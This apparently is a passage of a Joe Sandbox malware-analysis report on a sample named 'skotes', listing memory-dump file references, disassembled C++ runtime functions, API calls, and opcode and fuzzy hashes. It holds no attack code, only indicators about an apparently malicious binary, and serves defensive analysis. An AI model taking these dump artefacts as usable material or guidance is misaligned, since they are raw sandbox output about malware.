Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 8f021cbe20c08123864c5956ee6a0fb4645dae5ef10170a3893b29023cd2c770
Instruction ID: 0199a65ff42df07002e5a97f486f362c997c80e691ab2d2577e6763e87df167e
Opcode Fuzzy Hash: 8f021cbe20c08123864c5956ee6a0fb4645dae5ef10170a3893b29023cd2c770
Instruction Fuzzy Hash: 8E3183B1A006059BCF44EFA8C4919EDFBF6FF45710B14822DE516AB381CB349A41CB94

Function 006ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 006ABBE4
_xtime_get.LIBCPMT ref: 006ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 006ABC13

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 89cd37c8eec8293584f6b4ab9ccb8e18fb23059ae53279cd9d9df9d29aa15464
Instruction ID: e33c62303ab160b84f54c5b304842113a3dc52c00c529879a39efe8211a090de
Opcode Fuzzy Hash: 89cd37c8eec8293584f6b4ab9ccb8e18fb23059ae53279cd9d9df9d29aa15464
Instruction Fuzzy Hash: D5211D71A00219AFDF00FBA4DC819BEB7BAEF0A720F101059F501AB251DB709D419FA4

Function 006B9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006B9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 006B9CE8
std::bad_exception::bad_exception.LIBCMT ref: 006B9CFE
std::bad_exception::bad_exception.LIBCMT ref: 006B9D6A

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: c41509d2acce1e686654caa8606f54379636738e024aa0c7e866793e974d4f4d
Instruction ID: 2a035f7e7ef2796850bbefa67dc2459d2942dcb8486afeae3c73b1755e6a5091
Opcode Fuzzy Hash: c41509d2acce1e686654caa8606f54379636738e024aa0c7e866793e974d4f4d
Instruction Fuzzy Hash: E921B6B1905A149FCB44EF65D482DEDBBB6EF05310B21406DF201AB261DF31AD82CB65

Function 006BA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 006BA069

Part of subcall function 006BB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 006BB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 006BA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 006BA0CB

Part of subcall function 006BAB41: List.LIBCONCRT ref: 006BAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 006BA0DB

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 14608d120ec2dd5e767a2065d38bd2d8848beba15e56b5ae6ae9db2ab8955289
Instruction ID: cd5fff8e272a6af1218e7904dd7d316692aeacf3323846af67e97e942aadca75
Opcode Fuzzy Hash: 14608d120ec2dd5e767a2065d38bd2d8848beba15e56b5ae6ae9db2ab8955289
Instruction Fuzzy Hash: 7B21AC72500B159FCB24EFA5C8908EBF3F6FF48700B00495EE842A7651DB70A941CBA6

Function 006B4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 006B4893
ListArray.LIBCONCRT ref: 006B48A5

Part of subcall function 006B5555: _InternalDeleteHelper.LIBCONCRT ref: 006B5564

ListArray.LIBCONCRT ref: 006B48AF
_InternalDeleteHelper.LIBCONCRT ref: 006B48C8

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: b9d5d80149ebec00107e8178eb4ec087349bcf1ac9d6f3ff198130eefa9e1ccf
Instruction ID: 5008fed6c2d0fd464b997189de0098e7b227d06c1104c37840bab14ca43a75c8
